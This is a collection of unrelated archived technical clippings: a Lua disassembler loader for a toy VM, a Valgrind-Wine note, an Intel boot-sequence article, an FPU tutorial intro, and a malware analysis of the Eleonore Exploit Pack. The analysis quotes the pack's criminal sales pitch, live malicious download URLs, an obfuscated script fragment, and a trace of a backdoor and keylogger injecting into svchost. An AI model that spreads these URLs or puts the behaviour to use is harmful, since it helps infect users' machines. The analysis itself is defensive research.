            if disassembled[addr:number()] == nil and addr + 4 <= uint64(#hsvm.bytes) then
                disassembled[addr:number()] = true
    
                local ins = hsvm:ins(addr)
    
                if ins ~= nil and ins.successors ~= nil then
                    for k, successor in pairs(ins.successors) do
                        table.insert(queue, successor)
                    end
                end
    
                if ins ~= nil and ins.call == true and ins.target ~= nil then
                    functions[ins.target:number()] = ins.target
                end
            end
        end
    
        return functions
    end
[/code]

  
The remaining functions  
  
Because HSVM is non-complex, we can implement our remaining function in just a
few lines

[code]    function Hsvm.functions (hsvm)

        return hsvm:function_address(uint64(0))
    end
    
[/code]

  
HSVM will begin interpreting our code from address 0**.** We have no other
indicators of where functions may be, so a recursive disassembly from address
0 is our best bet for determining all reachable functions in HSVM**.**

[code]    function Hsvm.label (hsvm, address)

        return "fun_" .. tostring(address)
    end
    
[/code]

  
We have no symbol information for our hsvm executable, so we will label our
functions based purely upon their address**.**

[code]    function Hsvm.memory_map (hsvm)

        local memory_map = {}
        memory_map[uint64(0)] = hsvm.bytes
        return memory_map
    end
[/code]

  
Hsvm programs are loaded directly into memory, where offset 0 is equal to
address 0**.** This makes our memory\_map function easy.

[code]    function Hsvm.entry (hsvm)

        return 0
    end
[/code]

  
Hsvm programs begin at address 0, so we simply return 0 from our loader**.**  
  
Bringing it all together  
  
We save our completed lua loader and create an entry in ~/.rdis.lua to load it
for us automatically**.**  
  
Your .rdis.lua may look like this:

[code]    Hsvm = dofile("/path/to/hsvm.lua")

[/code]

  
Now we load lua and in the command window issue the following command:

[code]    rdis.load(Hsvm.new("/path/to/hsvm/file"))

[/code]

  
And we're done**\!**

The complete hsvm.lua file

For completion's sake, here's the entire hsvm.lua file:

[code]     Hsvm = {}

    Hsvm**.** __index = Hsvm
    
    Hsvm.REG_0       = 0x00
    Hsvm.REG_1       = 0x01
    Hsvm.REG_2       = 0x02
    Hsvm.REG_3       = 0x03
    Hsvm.REG_4       = 0x04
    Hsvm.REG_5       = 0x05
    Hsvm.REG_6       = 0x06
    Hsvm.REG_7       = 0x0A
    Hsvm.REG_BP      = 0x08
    Hsvm.REG_SP      = 0x09
    Hsvm.REG_IP      = 0x07
    Hsvm**.** OP_ADD      = 0x10
    Hsvm.OP_ADDLVAL  = 0x11
    Hsvm.OP_SUB      = 0x12
    Hsvm.OP_SUBLVAL  = 0x13
    Hsvm**.** OP_MUL      = 0x14
    Hsvm.OP_MULLVAL  = 0x15
    Hsvm.OP_DIV      = 0x16
    Hsvm.OP_DIVLVAL  = 0x17
    Hsvm**.** OP_MOD      = 0x18
    Hsvm.OP_MODLVAL  = 0x19
    Hsvm.OP_AND      = 0x1A
    Hsvm.OP_ANDLVAL  = 0x1B
    Hsvm**.** OP_OR       = 0x1C
    Hsvm.OP_ORLVAL   = 0x1D
    Hsvm.OP_XOR      = 0x1E
    Hsvm.OP_XORLVAL  = 0x1F
    Hsvm**.** OP_JMP      = 0x20
    Hsvm.OP_JE       = 0x21
    Hsvm.OP_JNE      = 0x22
    Hsvm.OP_JL       = 0x23
    Hsvm**.** OP_JLE      = 0x24
    Hsvm.OP_JG       = 0x25
    Hsvm.OP_JGE      = 0x26
    Hsvm.OP_CALL     = 0x27
    Hsvm**.** OP_CALLR    = 0x28
    Hsvm.OP_RET      = 0x29
    Hsvm.OP_LOAD     = 0x30
    Hsvm.OP_LOADR    = 0x31
    Hsvm**.** OP_LOADB    = 0x32
    Hsvm.OP_LOADBR   = 0x33
    Hsvm.OP_STOR     = 0x34
    Hsvm.OP_STORR    = 0x35
    Hsvm**.** OP_STORB    = 0x36
    Hsvm.OP_STORBR   = 0x37
    Hsvm.OP_IN       = 0x40
    Hsvm.OP_OUT      = 0x41
    Hsvm**.** OP_PUSH     = 0x42
    Hsvm.OP_PUSHLVAL = 0x43
    Hsvm.OP_POP      = 0x44
    Hsvm.OP_MOV      = 0x51
    Hsvm**.** OP_MOVLVAL  = 0x52
    Hsvm.OP_CMP      = 0x53
    Hsvm.OP_CMPLVAL  = 0x54
    Hsvm.OP_HLT      = 0x60
    Hsvm**.** OP_SYSCALL  = 0x61
    Hsvm.OP_NOP      = 0x90
    
    
    function Hsvm.new (filename)
        local hsvm = {}
        setmetatable(hsvm, Hsvm)
    
        local fh  = io.open(filename, "r")
        if fh == nil then
            rdis.console("failed to open file: " .. filename)
            return nil
        end
    
        local raw = fh:read("*a")
        fh:close()
    
        hsvm.bytes = {}
        for i=1, #raw do
            hsvm.bytes[i] = string.byte(raw, i)
        end
    
        return hsvm
    end
    
    
    -- used internally
    -- ins.opcode      = Hsvm**.** OP_*
    -- ins.operands    = table of registers
    -- ins.lval        = opcode lval
    
    -- required by rdis
    -- ins.address     = address of this instruction
    -- ins.successors  = table of addresses of instructions which are successors
    --                   to this instruction, or nil if no successors
    -- ins.target      = address of this instruction's target, or nil
    -- ins.description = string representation of this instruction
    -- ins.bytes       = a table of integers representing this instruction's bytes
    -- ins.call        = true if this instruction is a call, false or nil otherwise
    function Hsvm.ins (hsvm, address)
    
        function description (ins)
            local s = nil
    
            local opcode = ins.opcode
    
            if     opcode == Hsvm**.** OP_ADD      then s = "add"
            elseif opcode == Hsvm**.** OP_ADDLVAL  then s = "add"
            elseif opcode == Hsvm**.** OP_SUB      then s = "sub"
            elseif opcode == Hsvm**.** OP_SUBLVAL  then s = "sub"
            elseif opcode == Hsvm**.** OP_MUL      then s = "mul"
            elseif opcode == Hsvm**.** OP_MULLVAL  then s = "mul"
            elseif opcode == Hsvm**.** OP_DIV      then s = "div"
            elseif opcode == Hsvm**.** OP_DIVLVAL  then s = "div"
            elseif opcode == Hsvm**.** OP_MOD      then s = "mod"
            elseif opcode == Hsvm**.** OP_MODLVAL  then s = "mod"
            elseif opcode == Hsvm**.** OP_AND      then s = "and"
            elseif opcode == Hsvm**.** OP_ANDLVAL  then s = "and"
            elseif opcode == Hsvm**.** OP_OR       then s = "or"
            elseif opcode == Hsvm**.** OP_ORLVAL   then s = "or"
            elseif opcode == Hsvm**.** OP_XOR      then s = "xor"
            elseif opcode == Hsvm**.** OP_XORLVAL  then s = "xor"
            elseif opcode == Hsvm**.** OP_JMP      then s = "jmp"
            elseif opcode == Hsvm**.** OP_JE       then s = "je"
            elseif opcode == Hsvm**.** OP_JNE      then s = "jne"
            elseif opcode == Hsvm**.** OP_JL       then s = "jl"
            elseif opcode == Hsvm**.** OP_JLE      then s = "jle"
            elseif opcode == Hsvm**.** OP_JG       then s = "jg"
            elseif opcode == Hsvm**.** OP_JGE      then s = "jge"
            elseif opcode == Hsvm**.** OP_CALL     then s = "call"
            elseif opcode == Hsvm**.** OP_CALLR    then s = "call"
            elseif opcode == Hsvm**.** OP_RET      then s = "ret"
            elseif opcode == Hsvm**.** OP_LOAD     then s = "load"
            elseif opcode == Hsvm**.** OP_LOADR    then s = "load"
            elseif opcode == Hsvm**.** OP_LOADB    then s = "loadb"
            elseif opcode == Hsvm**.** OP_LOADBR   then s = "loadb"
            elseif opcode == Hsvm**.** OP_STOR     then s = "stor"
            elseif opcode == Hsvm**.** OP_STORR    then s = "stor"
            elseif opcode == Hsvm**.** OP_STORB    then s = "storb"
            elseif opcode == Hsvm**.** OP_STORBR   then s = "storb"
            elseif opcode == Hsvm**.** OP_IN       then s = "in"
            elseif opcode == Hsvm**.** OP_OUT      then s = "out"
            elseif opcode == Hsvm**.** OP_PUSH     then s = "push"
            elseif opcode == Hsvm**.** OP_PUSHLVAL then s = "push"
            elseif opcode == Hsvm**.** OP_POP      then s = "pop"
            elseif opcode == Hsvm**.** OP_MOV      then s = "mov"
            elseif opcode == Hsvm**.** OP_MOVLVAL  then s = "mov"
            elseif opcode == Hsvm**.** OP_CMP      then s = "cmp"
            elseif opcode == Hsvm**.** OP_CMPLVAL  then s = "cmp"
            elseif opcode == Hsvm**.** OP_HLT      then s = "hlt"
            elseif opcode == Hsvm**.** OP_SYSCALL  then s = "syscall"
            elseif opcode == Hsvm**.** OP_NOP      then s = "nop"
            else
                return nil
            end
    
            if ins.operands ~= nil then
                local reg_strings = {}
                for k, reg in pairs(ins.operands) do
                    if     reg == Hsvm.REG_0  then table.insert(reg_strings, "r0")
                    elseif reg == Hsvm.REG_1  then table.insert(reg_strings, "r1")
                    elseif reg == Hsvm.REG_2  then table.insert(reg_strings, "r2")
                    elseif reg == Hsvm.REG_3  then table.insert(reg_strings, "r3")
                    elseif reg == Hsvm.REG_4  then table.insert(reg_strings, "r4")
                    elseif reg == Hsvm.REG_5  then table.insert(reg_strings, "r5")
                    elseif reg == Hsvm.REG_6  then table.insert(reg_strings, "r6")
                    elseif reg == Hsvm.REG_7  then table.insert(reg_strings, "r7")
                    elseif reg == Hsvm.REG_BP then table.insert(reg_strings, "rbp")
                    elseif reg == Hsvm.REG_SP then table.insert(reg_strings, "rsp")
                    elseif reg == Hsvm.REG_IP then table.insert(reg_strings, "rip")
                    end
                end
                s = s .. " " .. table.concat(reg_strings, ", ")
            end
    
            if ins.lval ~= nil then
                if ins.operand ~= nil then
                    s = s .. ", " .. tostring(ins.lval)
                else
                    s = s .. " " .. tostring(ins.lval)
                end
            end
    
            return s
        end
    
        ------------------------------------------------
    
        function successors (ins)
            if    ins.opcode == Hsvm**.** OP_RET
               or ins.opcode == Hsvm.OP_HLT then
                return nil
            end
    
            if ins.opcode == Hsvm**.** OP_JMP then
                return {(ins.address + ins.lval + 4) % 65536}
            end
    
            local successors = {ins.address + 4}
    
            if    ins.opcode == Hsvm**.** OP_JMP
               or ins.opcode == Hsvm.OP_JE
               or ins.opcode == Hsvm**.** OP_JNE
               or ins.opcode == Hsvm.OP_JL
               or ins.opcode == Hsvm**.** OP_JLE
               or ins.opcode == Hsvm.OP_JG
               or ins.opcode == Hsvm**.** OP_JGE
               or ins.opcode == Hsvm.OP_CALL then
                table.insert(successors, (ins.address + ins.lval + 4) % 65536)
            end
    
            return successors
        end
    
        ------------------------------------------------
    
        function target (ins)
            if    ins.opcode == Hsvm**.** OP_JMP
               or ins.opcode == Hsvm.OP_JE
               or ins.opcode == Hsvm**.** OP_JNE
               or ins.opcode == Hsvm.OP_JL
               or ins.opcode == Hsvm**.** OP_JLE
               or ins.opcode == Hsvm.OP_JG
               or ins.opcode == Hsvm**.** OP_JGE
               or ins.opcode == Hsvm.OP_CALL then
                return (ins.address + ins.lval + 4) % 65536
            end
            return nil
        end
    
        ------------------------------------------------
    
        local bytes = {hsvm.bytes[address:number() + 1],
                       hsvm.bytes[address:number() + 2],
                       hsvm.bytes[address:number() + 3],
                       hsvm.bytes[address:number() + 4]}
    
        local ins = {}
        local opcode = bytes[1]
        local validate_operands = 0
    
        ins.address = address
        ins.opcode  = opcode
    
        ins.bytes = bytes
    
        -- set operands/lval
        -- Encoding A
        if    opcode == Hsvm**.** OP_HLT
           or opcode == Hsvm.OP_NOP
           or opcode == Hsvm.SYSCALL
           or opcode == Hsvm**.** OP_RET then
           -- do nothing
    
        -- Encoding B
        elseif    opcode == Hsvm**.** OP_CALLR
               or opcode == Hsvm**.** OP_PUSH
               or opcode == Hsvm.OP_POP
               or opcode == Hsvm**.** OP_IN
               or opcode == Hsvm.OP_OUT then
            ins.operands = {}
            ins.operands[1] = bytes[2]
    
        -- Encoding C
        elseif    opcode == Hsvm**.** OP_CMP
               or opcode == Hsvm.OP_LOADR
               or opcode == Hsvm**.** OP_LOADBR
               or opcode == Hsvm.OP_STORR
               or opcode == Hsvm**.** OP_STORBR
               or opcode == Hsvm.OP_MOV then
            ins.operands = {}
            ins.operands[1] = bytes[2]
            ins.operands[2] = bytes[3]
    
        -- Encoding D
        elseif    opcode == Hsvm**.** OP_ADD
               or opcode == Hsvm.OP_SUB
               or opcode == Hsvm**.** OP_MUL
               or opcode == Hsvm.OP_DIV
               or opcode == Hsvm**.** OP_MOD
               or opcode == Hsvm.OP_AND
               or opcode == Hsvm**.** OP_OR
               or opcode == Hsvm.OP_XOR then
            ins.operands    = {}
            ins.operands[1] = bytes[2]
            ins.operands[2] = bytes[3]
            ins.operands[3] = bytes[4]
    
        -- Encoding E
        elseif    opcode == Hsvm**.** OP_ADDLVAL
               or opcode == Hsvm.OP_SUBLVAL
               or opcode == Hsvm**.** OP_MULLVAL
               or opcode == Hsvm.OP_DIVLVAL
               or opcode == Hsvm**.** OP_MODLVAL
               or opcode == Hsvm.OP_ANDLVAL
               or opcode == Hsvm**.** OP_ORLVAL
               or opcode == Hsvm.OP_XORLVAL
               or opcode == Hsvm**.** OP_CMPLVAL
               or opcode == Hsvm.OP_LOAD
               or opcode == Hsvm**.** OP_LOADB
               or opcode == Hsvm.OP_STOR
               or opcode == Hsvm**.** OP_STORB
               or opcode == Hsvm.OP_MOVLVAL then
    
            ins.operands    = {}
            ins.operands[1] = bytes[2]
            ins.lval        = bytes[3] * 256
            ins.lval        = uint64(ins.lval + bytes[4])
    
        elseif    opcode == Hsvm**.** OP_JE
               or opcode == Hsvm.OP_JNE
               or opcode == Hsvm**.** OP_JL
               or opcode == Hsvm.OP_JLE
               or opcode == Hsvm**.** OP_JG
               or opcode == Hsvm.OP_JGE
               or opcode == Hsvm**.** OP_CALL
               or opcode == Hsvm.OP_JMP
               or opcode == Hsvm**.** OP_PUSHLVAL then
            ins.lval = bytes[3] * 256
            ins.lval = uint64(ins.lval + bytes[4])
    
        else
            return nil
        end
    
        if ins.operands ~= nil then
            for k,v in pairs(ins.operands) do
                if     v ~= Hsvm.REG_0
                   and v ~= Hsvm.REG_1
                   and v ~= Hsvm.REG_2
                   and v ~= Hsvm.REG_3
                   and v ~= Hsvm.REG_4
                   and v ~= Hsvm.REG_5
                   and v ~= Hsvm.REG_6
                   and v ~= Hsvm.REG_7
                   and v ~= Hsvm.REG_BP
                   and v ~= Hsvm.REG_SP
                   and v ~= Hsvm.REG_IP then
                    return nil
                end
            end
        end
    
        ins.target      = target(ins)
        ins.successors  = successors(ins)
        ins.description = description(ins)
    
        if ins.opcode == Hsvm**.** OP_CALL then
            ins.call = true
        else
            ins.call = false
        end
    
        return ins
    end
    
    
    function Hsvm.function_address (hsvm, address)
        local disassembled = {}
        local functions    = {}
        local queue        = {address}
    
        functions[address:number()] = address
    
        while #queue > 0 do
            local addr = queue[1]
            table.remove(queue, 1)
    
            if disassembled[addr:number()] == nil and addr + 4 <= uint64(#hsvm.bytes) then
                disassembled[addr:number()] = true
    
                local ins = hsvm:ins(addr)
    
                if ins ~= nil and ins.successors ~= nil then
                    for k, successor in pairs(ins.successors) do
                        table.insert(queue, successor)
                    end
                end
    
                if ins ~= nil and ins.call == true and ins.target ~= nil then
                    functions[ins.target:number()] = ins.target
                end
            end
        end
    
        return functions
    end
    
    
    function Hsvm.functions (hsvm)
        return hsvm:function_address(uint64(0))
    end
    
    
    function Hsvm.label (hsvm, address)
        return "fun_" .. tostring(address)
    end
    
    
    function Hsvm.memory_map (hsvm)
        local memory_map = {}
        memory_map[uint64(0)] = hsvm.bytes
        return memory_map
    end
    
    function Hsvm.entry (hsvm)
        return 0
    end
    
    return Hsvm
[/code]

Posted 13th November 2012 by rednovae

Labels: rdis

0

###  Add a comment****

Links

Blog Archive

Subscribe

Loading

Send feedback ****

# Valgrind: Variants / Patches

**Created:**| _5/27/2009 10:15:48 AM_  
---|---  
**Updated:**| _5/27/2009 10:16:05 AM_  
**Author:**| __  
**Tags:**| _windows security security tools Exploit_  
  

**Wine:** valgrind 20031012-wine \(tar.bz2\) \[697Kb\] - Oct 12 2003  
md5: ebe1641b4873ec30dd013b6b618f5f90

This is a variant of the 20031012 stable release. It makes it possible to run
Wine on Valgrind, and so to debug Windows applications with Valgrind.
See`README_WINE_FOLKS` in the tarball for details.

Note: only use this -wine variant if you want to valgrindify Wine and apps
running on it. For "normal" Linux applications, use the standard valgrind
version.

Valgrind 20031012-wine should be used with a recent CVS version of Wine.
Provided you have the PDB files for executables and DLLs, valgrind will give
stack traces for MSVC compiled code. Multi-threaded programs are fully
supported. Leak checking does not work at the moment.

# Booting an Intel Architecture System, Part I: Early Initialization | Dr Dobb's
**Created:**| _1/3/2012 4:22:36 PM_  
---|---  
**Updated:**| _1/3/2012 4:22:36 PM_  
**Author:**| __  
**Tags:**| _x86_  
  

# Booting an Intel Architecture System, Part I: Early Initialization

By Pete Dice, December 26, 2011

Post a Comment

The boot sequence today is far more complex than it was even a decade ago.
Here's a detailed, low-level, step-by-step walkthrough of the boot up.  

### AP Initialization

Even in SOCs, there is the likelihood of having multiple CPU cores. Each core
may be visualized as a Board Support Package \(BSP\) plus an AP. The BSP
starts and initializes the system. The APs must be initialized with identical
features. Before memory is activated, the APs are uninitialized. After memory
is started, the remaining processors are initialized and left in a wait-for-
SIPI state. To accomplish this, the system firmware must:

  * Find microcode and copy it to memory. 
  * Find the CPU code in the Serial Peripherals Interface \(SPI\) and copy it to memory — an important step to avoid execution-in-place for the remainder of the sequence. 
  * Send start-up interprocessor interrupts to all processors. 
  * Disable all NEM settings, if this has not already been done. 
  * Load microcode updates on all processors. 
  * Enable cache-on mode for all processors.

From a UEFI perspective, AP initialization may either be part of the PEI or
DXE phase of the boot flow, or in the early or advanced initialization. There
is some debate as to the final location.

Since Intel processors are packaged in various configurations, there are
different terms that must be understood when considering processor
initialization. In this context, a thread is a logical processor that shares
resources with another logical processor in the same physical package. A core
is a processor that coexists with another processor in the same physical
package and does not share any resources with other processors. A package is a
chip that contains any number of cores and threads.

Threads and cores on the same package are detectable by executing the CPUID
instruction. Detection of additional packages must be done blindly. If a
design must accommodate more than one physical package, the BSP needs to wait
a certain amount of time for all potential APs in the system to "log in." Once
a timeout occurs or the maximum expected number of processors "log in," it can
be assumed that there are no more processors in the system.

In order to wake up secondary threads or cores, the BSP sends a SIPI to each
thread and core. This SIPI is sent by using the BSP's LAPIC, indicating the
physical address from which the AP should start executing. This address must
be below 1 MB of memory and must be aligned on a 4-KB boundary. Upon receipt
of the SIPI, the AP starts executing the code pointed to by the SIPI message.
Unlike the BSP, the AP starts code execution in real mode. This requires that
the code that the AP starts executing is located below 1 MB.

Because of the different processor combinations and the various attributes of
shared processing registers between threads, care must be taken to ensure that
there are no caching conflicts in the memory used throughout the system.

AP behavior during firmware initialization is dependent on the firmware
implementation, but is most commonly restricted to short periods of
initialization followed by a HLT instruction, during which the system awaits
direction from the BSP before undertaking another operation.

Once the firmware is ready to attempt to boot an OS, all AP processors must be
placed back in their power-on state. The BSP accomplishes this by sending an
Init Assert IPI followed by an Init De-assert IPI to all APs in the system
\(except itself\).

The final part of this article, which will appear in January, covers advanced
device installation, memory-map configuration, and all the other steps
required to prepare the hardware for loading the operating system.

This article is adapted from material in _Intel Technology Journal _\(March
2011\) "UEFI Today: Bootstrapping the Continuum," and portions of it are
copyright Intel Corp.

* * *
_Pete Dice is a software architect in Intel's chipset architecture group. He
holds a bachelor of science degree in electrical engineering. Dice has over 19
years of experience in the computing industry, including 15 years at Intel._

# \[Crimeware\] Researches and Reversing about Eleonore Exploit Pack | Offensive Computing
**Created:**| _11/3/2009 10:23:22 PM_  
---|---  
**Updated:**| _11/3/2009 10:23:37 PM_  
**Author:**| __  
**Tags:**| _Exploit reversing crime_  
  

# \[Crimeware\] Researches and Reversing about Eleonore Exploit Pack

Submitted by evilcry on Tue, 2009-11-03 04:24. Malware

Hi,

Today we will see how works Eleonore Exploit Pack directly from an infected
website.

Essentially Eleonore Exploit Pack is a collection of Exploits and Data
Statistics Collectors, this is the 'marketing' presentation of the exploit
pack:

\*---------------------------------------------------------------\*  
Hello\!  
I present new actual russian exploits pack "Eleonore Exp v1.2"

Exploits on pack:  
> MDAC  
> MS009-02  
> Telnet - Opera  
> Font tags - FireFox  
> PDF collab.getIcon  
> PDF Util.Printf  
> PDF collab.collectEmailInfo  
> DirectX DirectShow  
> Spreadsheet
installs on traffic:  
> on usa: 5-15%  
> on mix: 10-25%  
\[size=1\]\* Piercing indicates approximate, may vary and depends directly on
the type and quality of traffic. size\]

Price:  
> Eleonore Exp Pack 1.2 = 700$  
> Cleans cryptor on AV = 50$  
> Rebild on another domain = 50$  
\* PACK is binding on domain.  
> Eleonore Exp Pack 1.2 with not binding domain\(free on domain\) = 1500$
\*---------------------------------------------------------------\*

Here you can read a discussion where there is the direct author of this pack

http://www.opensc.ws/trojan-malware-releases/7443-eleonore-exp-new-actual-
russian-exploits-pack.html

Eleonore Exp. Pack exists two versions of Eleonore Exploit Pack:

1\. Eleonore Exp v1.1  
2\. Eleonore Exp v1.2  
3\. Eleonore Exp v1.3B

The last version \(1.3B\) presents new exploits, connectivity and optimization
improvements in the intelligence process for obtaining data statistics related
to zombies \(countries, navegadote, OS, etc.\).

By watching the URL we can immediately extract a list of most interesting
links:

1\. http://\*\*\*\*\*.cn/sv/x.x  
2\. http://\*\*\*\*\*.cn/sv/Client2.jar  
3\. http://\*\*\*\*\*.cn/sv/pdf.php  
4\.
http://\*\*\*\*\*.cn/sv/?spl=2&br=MSIE&vers=7.0&s=ec445bc5411c202a8361c7db463e84b4  
5\. http://\*\*\*\*\*.cn/sv/load.php?spl=ActiveX\_pack  
6\. http://\*\*\*\*\*.cn/sv/stat.php

As you can see all is contained int /sv/ directory, now let's check for
example load.php link,  
when accessing this link is downloaded an executable called load.exe with

MD5: 50AC484D4775B783D70D87A21BBFAA36

That submitted to the various online AV scanners results to be free from
infections, we have 4 sections:

.text 0x1000 0x48B0 0x4A00 7.39 5135f06000479a5b2e378caa2c4fd8a9  
.rdata 0x6000 0x26D 0x400 3.07 8492531c69aab5794ba61207842ba4d6  
.data 0x7000 0x2AA7 0x2C00 6.71 092b8e63ebe1ac83d571aba964e041d1  
.rsrc 0xA000 0x46C 0x600 4.07 aceb78467d14ed7c7023da0ff5fc59ef

and this is the Import Table list

kernel32.dll: SetFilePointer, HeapUnlock, VerifyVersionInfoA,
GetLongPathNameA, \_lclose, GetEnvironmentStringsW, HeapDestroy,
GetLocaleInfoW, HeapAlloc, GetFileType, HeapCreate, WaitForSingleObjectEx,
lstrcmpiA, SetCalendarInfoA, HeapFree, lstrcatW, ExitProcess, SetLastError,
VirtualProtect, GetFullPathNameA, SetUnhandledExceptionFilter, lstrcpyW,
GlobalFindAtomA

Application presents a Number of Hidden \(Packing\) Layers of 3.

This is a quick list of operations performed by load.exe

First Thread  
71a370df RegOpenKeyExA
\(HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\)  
71a37cc4 RegOpenKeyExA \(Protocol\_Catalog9\)  
71a3737e RegOpenKeyExA \(0000000B\)  
71a3724d RegOpenKeyExA \(Catalog\_Entries\)

Application accesses Winsock2 parameters.

Second Thread  
401129 CreateFileA\(C:\DOCUME~1\evilcry\IMPOST~1\Temp\2A.tmp\)  
401561 LoadLibraryA\(C:\DOCUME~1\evilcry\IMPOST~1\Temp\2A.tmp\)=602c0000

Creates 2A.tmp

602c4955 LoadLibraryA\(kernel32.dll\)=7c800000  
602c4cbb LoadLibraryA\(ntdll.dll\)=7c910000  
602c4d13 LoadLibraryA\(ws2\_32.dll\)=71a30000  
602c4e52 LoadLibraryA\(advapi32.dll\)=77f40000  
76d2563d GetVersionExA\(\)  
76d258ef CreateFileA\(\\\\.\Ip\)

Performs an access to IP Device

76d25bc2 RegOpenKeyExA
\(HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Linkage\)  
76d25bdc RegOpenKeyExA
\(HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\\\)  
76d25bf3 RegOpenKeyExA
\(HKLM\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces\)  
76d25c0d RegOpenKeyExA
\(HKLM\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\)

opens the most important registry entries about Networking

602c4f3a LoadLibraryA\(iphlpapi.dll\)=76d20000  
5b19ef89 GetCurrentProcessId\(\)=2436  
5b18b1ba IsDebuggerPresent\(\)  
746b26aa GetVersionExA\(\)  
746b30a7 RegOpenKeyExA \(HKLM\SOFTWARE\Microsoft\CTF\Compatibility\load.exe\)  
746b30a7 RegOpenKeyExA \(HKLM\SOFTWARE\Microsoft\CTF\SystemShared\\\)

Checks the presence of a debugger and register itself in Compatibility and
SystemShared entries

746b245b
CreateMutex\(CTF.LBES.MutexDefaultS-1-5-21-854245398-1229272821-725345543-1003\)  
746b245b
CreateMutex\(CTF.Compart.MutexDefaultS-1-5-21-854245398-1229272821-725345543-1003\)  
746b245b
CreateMutex\(CTF.Asm.MutexDefaultS-1-5-21-854245398-1229272821-725345543-1003\)  
746b245b
CreateMutex\(CTF.Layouts.MutexDefaultS-1-5-21-854245398-1229272821-725345543-1003\)  
746b245b CreateMutex\(CTF.TMD.MutexDefaultS-1-5-21-854245398-1229272821-725345  
543-1003\)

Creates a list mutex, presumibly linked to keyboard \( keystroke logger\)

746b30a7 RegOpenKeyExA \(HKCU\Keyboard Layout\Toggle\)  
746b260a RegOpenKeyExA \(HKLM\SOFTWARE\Microsoft\CTF\\\)

Will act as a keylogger

775220b0 LoadLibraryA\(CLBCATQ.DLL\)=76f90000  
775228a1 LoadLibraryA\(CLBCATQ.DLL\)=76f90000

CLBCATQ.DLL its a COM Service DLL

602c214f CreateProcessA\(\(null\),svchost.exe,0,\(null\)\)  
7c81628b WaitForSingleObject\(6d8,64\)  
77b14cd7 LoadLibraryA\(VERSION.dll\)=77bd0000  
7c818e2c LoadLibraryA\(advapi32.dll\)=77f40000  
10001e25 LoadLibraryA\(psapi.dll\)=76bb0000  
10001e66 GetCurrentProcessId\(\)=2436  
76bb183b ReadProcessMemory\(h=6e0\)  
76bb185a ReadProcessMemory\(h=6e0\)  
76bb1878 ReadProcessMemory\(h=6e0\)  
76bb17bb ReadProcessMemory\(h=6e0\)  
WriteProcessMemory=1 BufLen=23 BytesWritten:23

This mean that load.exe is going to infect svchost.exe surely to enstablish a
channel  
with malicious sites.

602c15c7
Copy\(C:\DOCUME~1\evilcry\IMPOST~1\Temp\2A.tmp->C:\WINDOWS\system32\helh.oso\)  
7c82fa88 WriteFile\(h=700\)

The content of 2A.tmp is copied into \WINDOWS\system32\helh.oso

602c298f RegOpenKeyExA \(HKCR\idid\)  
602c2d4d RegCreateKeyExA \(HKCR\idid,\(null\)\)  
602c2d92 RegSetValueExA \(url0\)  
602c2c3b RegOpenKeyExA \(HKCR\idid\)  
76d22bd0 RegOpenKeyExA
\(HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\\\{D1D028D3-3E11-436A-8FD8-8A4993A911A5\}\)  
602c267d gethostbyname\(602c8760\)

infection of svchost.exe is done and application attempt to access some URLs,
that can be  
revealed with a network sniff

\* papaanarhia.cn  
\* papaanarhia.cn.localdomain

Now let's reverse helh.oso.

By disassembling it emerges a DLL with the following entries:

\* DllMain  
\* DllEntryPoint  
\* DllEntryPoint  
\* dxdll  
\* vtfeb  
\* ruagpi  
\* vlecvja

interesting strings:

libgcj\_s.dll  
Jv\_RegisterClasses  
'GET /%s HTTP/1.1'  
'User-Agent: Opera\9.63',  
'Host: %s',0Dh,0AhBackdoor.Win32.Bredavi.aig

so load.exe acts like a malicious backdoor trojan that runs in the background
and allows remote access to the compromised system. Interesting to note that
the domain used is the same of

\* Backdoor.Win32.Bredavi.aig  
\* Trojan.Win32.Sasfis.qri

helh.oso downloads and/or requests other files from Internet, from the
following URLs

\* http://bookheads.cn/dib-file.exe  
\* http://papaanarhia.cn/myl/bb.php?id=199826733&v=200&tm=2&b=01  
\* http://papaanarhia.cn/myl/bb.php?id=199826733&v=200&tm=2&b=01&tid=3&r=1

Now let's check /sv/x.x

function fokusp\(Lomka,kolma\)  
\{  
return eval\('Lom'+'ka.rep'+'lace\('+'/KOHb55544 3233/g'+',kolma\)'\);  
\}

/sv/stat.php

is the login page where user is asked to insert username and password

/sv/pdf.php

downloads GDGCavPJwlrd.pdf a malicious pdf

Regards,  
Giuseppe 'Evilcry' Bonfa'

# Simply FPU - Intro

**Created:**| _12/9/2010 9:18:42 PM_  
---|---  
**Updated:**| _12/11/2010 11:17:39 AM_  
**Author:**| __  
**Tags:**| _bookmark asm reversing_  
  
SIMPLY FPU  
by **Raymond Filiatreault**  
Copyright 2003

  

**CONTENTS**

[code]

                **Introduction**
    
    Chap. 1     **Description of FPU Internals**
    
    Chap. 2     **Data types used by the FPU and addressing modes**
    
    Chap. 3     **Instructions related to the FPU internals**
    
    Chap. 4     **Data transfer instructions - REAL numbers**
    
    Chap. 5     **Data transfer instructions - integers**
    
    Chap. 6     **Data transfer instructions - packed decimals**
    
    Chap. 7     **Comparison instructions**
    
    Chap. 8     **Arithmetic instructions - with REAL numbers**
    
    Chap. 9     **Arithmetic instructions - with integer numbers**
    
    Chap. 10    **Trigonometric instructions**
    
    Chap. 11    **Logarithmic and exponential instructions**
    
    Chap. 12    **Other instructions**
    
    Chap. 13    **Commented example**
    
    Appendix 1  **Alphabetical list of FPU instructions**
    
[/code]

  
**INTRODUCTION**

The FPU, also known as a co-processor, used to be an option when the first PCs
came on the market. Modern PCs are now all provided with a co-processor.
Although the original PC-XT has evolved considerably over the years, the FPU
itself has not changed appreciably during that same period. Apart from a few
minor instructions having been added, the main improvement has been the
extended range of some of the existing instructions.

The entire set of assembler instructions for the FPU is relatively small and
could be memorized rapidly. Learning which parameter\(s\) can be used with
each instruction should take only slightly longer. The main difficulty is in
developing sound programming techniques to avoid some of the pitfalls peculiar
to the FPU.

The main purpose of this document is to show that using the FPU can be
relatively easy with minimal effort. Once the basics have been mastered, any
computation however complex can be performed.

The first chapter describes the internals of the FPU and how they function.
Some of this knowledge is an absolute necessity to use the FPU properly or
help later in understanding the outcome of some of the instructions. This is
followed by a chapter describing the various data types which can be used with
some of the instructions, including a detailed review of the floating point
data formats.

The FPU instructions are then discussed in detail in the following chapters
which regroup them according to some "biased" criteria. Although some
